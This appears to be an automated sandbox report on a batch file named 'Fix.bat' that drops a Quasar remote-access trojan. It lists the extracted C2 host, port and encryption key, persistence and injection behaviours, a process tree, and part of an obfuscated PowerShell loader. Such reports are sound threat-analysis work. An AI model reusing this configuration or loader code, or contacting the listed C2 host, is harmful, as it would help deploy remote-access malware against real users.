Analysis
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max time kernel
300s -
max time network
278s -
platform
windows11-21h2_x64 -
resource
win11-20240426-en -
resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system -
submitted
12-05-2024 19:01
Static task
static1
Behavioral task
behavioral1
Sample
Fix.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Fix.bat
Resource
win10v2004-20240426-en
General
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Target
Fix.bat
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Size
621B
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MD5
e235e723f57a72ef725306c3e14d4726
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SHA1
9b2153053f8e89c300e32da5df32e9b990594aac
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SHA256
aebe0bafeb12706e614a45f2df40518d32d502093517ce95e2d3c1bbfd64ca67
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SHA512
0a4eda531be3904ae944d2c1c43755921cde4333a8e9d6bee6669e3de73b6c7859bb7ab3aa7a712fa2085d3fa1fb1d1ed14e5d6ed488a10bd2f6ab6ed049d25e
Malware Config
Extracted
quasar
3.1.5
RPad
even-lemon.gl.at.ply.gg:33587
$Sxr-okPqrmZ8kNVUcS4Rp0
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encryption_key
XmcBnPuLlN1e8SHIRR1z
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install_name
$sxr-powershell.exe
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log_directory
$SXR-LOGS
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reconnect_delay
3000
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startup_key
$sxr-powershell
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subdirectory
$sxr-seroxen2
Signatures
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Quasar payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\BoostBot.exe family_quasar behavioral3/memory/1672-27-0x0000000000AF0000-0x0000000000B5C000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
Processes:
powershell.EXEpowershell.EXEpowershell.EXEdescription pid process target process PID 4472 created 636 4472 powershell.EXE winlogon.exe PID 2452 created 636 2452 powershell.EXE winlogon.exe PID 4152 created 636 4152 powershell.EXE winlogon.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 5 IoCs
Processes:
BoostBot.exe$sxr-powershell.exeinstall.exeinstall.exeinstall.exepid process 1672 BoostBot.exe 4984 $sxr-powershell.exe 1552 install.exe 4080 install.exe 3464 install.exe -
Modifies file permissions 1 TTPs 1 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 5 raw.githubusercontent.com 10 raw.githubusercontent.com 13 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 5 ip-api.com -
Drops file in System32 directory 18 IoCs
Processes:
powershell.EXEOfficeClickToRun.exesvchost.exesvchost.exepowershell.EXEsvchost.exepowershell.EXEdescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 OfficeClickToRun.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\System32\Tasks\$77$sxr-powershell.exe svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\$77svc64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\$sxr-powershell svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE -
Suspicious use of SetThreadContext 3 IoCs
Processes:
powershell.EXEpowershell.EXEpowershell.EXEdescription pid process target process PID 4472 set thread context of 2772 4472 powershell.EXE dllhost.exe PID 2452 set thread context of 2344 2452 powershell.EXE dllhost.exe PID 4152 set thread context of 4880 4152 powershell.EXE dllhost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe -
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeSCHTASKS.exeschtasks.exeSCHTASKS.exepid process 2376 schtasks.exe 4980 SCHTASKS.exe 4780 schtasks.exe 2044 SCHTASKS.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEpowershell.EXEpowershell.EXEOfficeClickToRun.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={DA4A53E1-FE86-4F0F-B330-24C883B334B2}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE -
Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.EXEdllhost.exepowershell.EXE$sxr-powershell.exedllhost.exewmiprvse.exepid process 1492 powershell.exe 1492 powershell.exe 4472 powershell.EXE 4472 powershell.EXE 4472 powershell.EXE 2772 dllhost.exe 2772 dllhost.exe 2772 dllhost.exe 2772 dllhost.exe 2772 dllhost.exe 2772 dllhost.exe 2772 dllhost.exe 2772 dllhost.exe 2452 powershell.EXE 2772 dllhost.exe 2772 dllhost.exe 2452 powershell.EXE 2772 dllhost.exe 2772 dllhost.exe 2772 dllhost.exe 2772 dllhost.exe 2772 dllhost.exe 2772 dllhost.exe 2772 dllhost.exe 2772 dllhost.exe 2772 dllhost.exe 2772 dllhost.exe 2452 powershell.EXE 2772 dllhost.exe 2772 dllhost.exe 4984 $sxr-powershell.exe 2772 dllhost.exe 2772 dllhost.exe 2452 powershell.EXE 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 892 wmiprvse.exe 4984 $sxr-powershell.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 4984 $sxr-powershell.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe 2344 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEdllhost.exepowershell.EXEsvchost.exedescription pid process Token: SeDebugPrivilege 1492 powershell.exe Token: SeDebugPrivilege 1672 BoostBot.exe Token: SeDebugPrivilege 4984 $sxr-powershell.exe Token: SeDebugPrivilege 4472 powershell.EXE Token: SeDebugPrivilege 4472 powershell.EXE Token: SeDebugPrivilege 2772 dllhost.exe Token: SeDebugPrivilege 2452 powershell.EXE Token: SeAssignPrimaryTokenPrivilege 2708 svchost.exe Token: SeIncreaseQuotaPrivilege 2708 svchost.exe Token: SeSecurityPrivilege 2708 svchost.exe Token: SeTakeOwnershipPrivilege 2708 svchost.exe Token: SeLoadDriverPrivilege 2708 svchost.exe Token: SeSystemtimePrivilege 2708 svchost.exe Token: SeBackupPrivilege 2708 svchost.exe Token: SeRestorePrivilege 2708 svchost.exe Token: SeShutdownPrivilege 2708 svchost.exe Token: SeSystemEnvironmentPrivilege 2708 svchost.exe Token: SeUndockPrivilege 2708 svchost.exe Token: SeManageVolumePrivilege 2708 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2708 svchost.exe Token: SeIncreaseQuotaPrivilege 2708 svchost.exe Token: SeSecurityPrivilege 2708 svchost.exe Token: SeTakeOwnershipPrivilege 2708 svchost.exe Token: SeLoadDriverPrivilege 2708 svchost.exe Token: SeSystemtimePrivilege 2708 svchost.exe Token: SeBackupPrivilege 2708 svchost.exe Token: SeRestorePrivilege 2708 svchost.exe Token: SeShutdownPrivilege 2708 svchost.exe Token: SeSystemEnvironmentPrivilege 2708 svchost.exe Token: SeUndockPrivilege 2708 svchost.exe Token: SeManageVolumePrivilege 2708 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2708 svchost.exe Token: SeIncreaseQuotaPrivilege 2708 svchost.exe Token: SeSecurityPrivilege 2708 svchost.exe Token: SeTakeOwnershipPrivilege 2708 svchost.exe Token: SeLoadDriverPrivilege 2708 svchost.exe Token: SeSystemtimePrivilege 2708 svchost.exe Token: SeBackupPrivilege 2708 svchost.exe Token: SeRestorePrivilege 2708 svchost.exe Token: SeShutdownPrivilege 2708 svchost.exe Token: SeSystemEnvironmentPrivilege 2708 svchost.exe Token: SeUndockPrivilege 2708 svchost.exe Token: SeManageVolumePrivilege 2708 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2708 svchost.exe Token: SeIncreaseQuotaPrivilege 2708 svchost.exe Token: SeSecurityPrivilege 2708 svchost.exe Token: SeTakeOwnershipPrivilege 2708 svchost.exe Token: SeLoadDriverPrivilege 2708 svchost.exe Token: SeSystemtimePrivilege 2708 svchost.exe Token: SeBackupPrivilege 2708 svchost.exe Token: SeRestorePrivilege 2708 svchost.exe Token: SeShutdownPrivilege 2708 svchost.exe Token: SeSystemEnvironmentPrivilege 2708 svchost.exe Token: SeUndockPrivilege 2708 svchost.exe Token: SeManageVolumePrivilege 2708 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2708 svchost.exe Token: SeIncreaseQuotaPrivilege 2708 svchost.exe Token: SeSecurityPrivilege 2708 svchost.exe Token: SeTakeOwnershipPrivilege 2708 svchost.exe Token: SeLoadDriverPrivilege 2708 svchost.exe Token: SeSystemtimePrivilege 2708 svchost.exe Token: SeBackupPrivilege 2708 svchost.exe Token: SeRestorePrivilege 2708 svchost.exe Token: SeShutdownPrivilege 2708 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
$sxr-powershell.exepid process 4984 $sxr-powershell.exe -
Suspicious use of UnmapMainImage 2 IoCs
Processes:
Explorer.EXERuntimeBroker.exepid process 3380 Explorer.EXE 4000 RuntimeBroker.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exeBoostBot.exepowershell.EXEdllhost.exe$sxr-powershell.exelsass.exedescription pid process target process PID 4592 wrote to memory of 4944 4592 cmd.exe certutil.exe PID 4592 wrote to memory of 4944 4592 cmd.exe certutil.exe PID 4592 wrote to memory of 1492 4592 cmd.exe powershell.exe PID 4592 wrote to memory of 1492 4592 cmd.exe powershell.exe PID 1492 wrote to memory of 1672 1492 powershell.exe BoostBot.exe PID 1492 wrote to memory of 1672 1492 powershell.exe BoostBot.exe PID 1492 wrote to memory of 1672 1492 powershell.exe BoostBot.exe PID 4592 wrote to memory of 5000 4592 cmd.exe icacls.exe PID 4592 wrote to memory of 5000 4592 cmd.exe icacls.exe PID 4592 wrote to memory of 2464 4592 cmd.exe reg.exe PID 4592 wrote to memory of 2464 4592 cmd.exe reg.exe PID 4592 wrote to memory of 4192 4592 cmd.exe attrib.exe PID 4592 wrote to memory of 4192 4592 cmd.exe attrib.exe PID 1672 wrote to memory of 2376 1672 BoostBot.exe schtasks.exe PID 1672 wrote to memory of 2376 1672 BoostBot.exe schtasks.exe PID 1672 wrote to memory of 2376 1672 BoostBot.exe schtasks.exe PID 1672 wrote to memory of 4984 1672 BoostBot.exe $sxr-powershell.exe PID 1672 wrote to memory of 4984 1672 BoostBot.exe $sxr-powershell.exe PID 1672 wrote to memory of 4984 1672 BoostBot.exe $sxr-powershell.exe PID 1672 wrote to memory of 1552 1672 BoostBot.exe install.exe PID 1672 wrote to memory of 1552 1672 BoostBot.exe install.exe PID 1672 wrote to memory of 1552 1672 BoostBot.exe install.exe PID 1672 wrote to memory of 4980 1672 BoostBot.exe SCHTASKS.exe PID 1672 wrote to memory of 4980 1672 BoostBot.exe SCHTASKS.exe PID 1672 wrote to memory of 4980 1672 BoostBot.exe SCHTASKS.exe PID 4472 wrote to memory of 2772 4472 powershell.EXE dllhost.exe PID 4472 wrote to memory of 2772 4472 powershell.EXE dllhost.exe PID 4472 wrote to memory of 2772 4472 powershell.EXE dllhost.exe PID 4472 wrote to memory of 2772 4472 powershell.EXE dllhost.exe PID 4472 wrote to memory of 2772 4472 powershell.EXE dllhost.exe PID 4472 wrote to memory of 2772 4472 powershell.EXE dllhost.exe PID 4472 wrote to memory of 2772 4472 powershell.EXE dllhost.exe PID 4472 wrote to memory of 2772 4472 powershell.EXE dllhost.exe PID 2772 wrote to memory of 636 2772 dllhost.exe winlogon.exe PID 2772 wrote to memory of 692 2772 dllhost.exe lsass.exe PID 2772 wrote to memory of 992 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 560 2772 dllhost.exe dwm.exe PID 2772 wrote to memory of 436 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 756 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1072 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1080 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1200 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1220 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1272 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1320 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1448 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1456 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1516 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1572 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1592 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1716 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1732 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1776 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1828 2772 dllhost.exe svchost.exe PID 4984 wrote to memory of 4780 4984 $sxr-powershell.exe schtasks.exe PID 4984 wrote to memory of 4780 4984 $sxr-powershell.exe schtasks.exe PID 4984 wrote to memory of 4780 4984 $sxr-powershell.exe schtasks.exe PID 692 wrote to memory of 2636 692 lsass.exe sysmon.exe PID 2772 wrote to memory of 1892 2772 dllhost.exe svchost.exe PID 692 wrote to memory of 2636 692 lsass.exe sysmon.exe PID 2772 wrote to memory of 1528 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1676 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 1984 2772 dllhost.exe svchost.exe PID 2772 wrote to memory of 2072 2772 dllhost.exe svchost.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:636
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:560
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{16f95482-b399-4901-a66a-b2e14afe2f8b}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{7f0675dd-1763-4ec7-8048-4ecf8092923a}2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2344 -
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e9e205c0-4ce2-457e-b4ef-eb2baf99b4e8}2⤵PID:4880
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:692
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:992
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:436
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:756
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1072
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1080
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1200
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1220 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wIpZvHGRBscU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$KnlEBXBBtJModj,[Parameter(Position=1)][Type]$DQfweCBeyE)$ZGsLAySYSQY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'efl'+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+''+'l'+''+'e'+'g'+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+'g'+''+[Char](97)+''+'t'+''+'e'+''+'T'+''+'y'+''+'p'+''+[Char](101)+'','Clas'+[Char](115)+''+','+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'ale'+'d'+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+'a'+'s'+'s'+[Char](44)+'A'+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$ZGsLAySYSQY.DefineConstructor('R'+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+'ci'+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+'m'+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+''+[Char](83)+'ig'+','+''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$KnlEBXBBtJModj).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$ZGsLAySYSQY.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+'o'+'k'+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'Hi'+[Char](100)+'e'+'B'+''+'y'+''+'S'+''+'i'+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+'S'+'l'+''+[Char](111)+''+'t'+''+[Char](44)+'V'+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$DQfweCBeyE,$KnlEBXBBtJModj).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](10